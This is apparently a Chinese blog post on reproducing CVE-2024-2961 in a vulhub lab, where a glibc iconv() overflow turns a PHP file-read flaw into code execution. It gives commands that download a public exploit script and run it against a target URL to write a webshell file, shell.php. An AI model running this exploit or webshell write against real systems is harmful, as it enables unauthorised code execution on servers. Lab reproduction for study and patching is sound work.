vulhub中PHP利用GNU C Iconv将文件读取变成RCE(CVE-2024-2961)

GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。

如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用`iconv()`的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。

漏洞复现

在使用原作者给出的[exploit](https://github.com/ambionics/cnext-exploits)前,你需要准备一个Linux环境和Python 3.10解释器。

安装依赖:

pip install pwntools

pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip

然后从<https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py\>下载POC并执行:

wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py

python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"

已经成功写入shell.php:

相关推荐
molunnnn1 小时前
第四章 Agent的几种经典范式
开发语言·python
Aldrich_322 小时前
蓝桥杯嵌入式赛道—-软件篇(GPIO输出模式配置)
c语言·vscode·stm32·单片机·嵌入式硬件·蓝桥杯
洛_尘2 小时前
JAVA EE初阶 2: 多线程-初阶
java·开发语言
@卞3 小时前
C语言常见概念
c语言·开发语言
wjs20243 小时前
Eclipse 关闭项目详解
开发语言
沐知全栈开发3 小时前
《隐藏(Hide)》
开发语言
lkbhua莱克瓦243 小时前
Java基础——方法
java·开发语言·笔记·github·学习方法
catchadmin3 小时前
PHP 依赖管理器 Composer 2.9 发布
开发语言·php·composer
悠悠~飘3 小时前
PHP基础-字符串(第16天)
php
范纹杉想快点毕业4 小时前
《嵌入式开发硬核指南:91问一次讲透底层到架构》
java·开发语言·数据库·单片机·嵌入式硬件·mongodb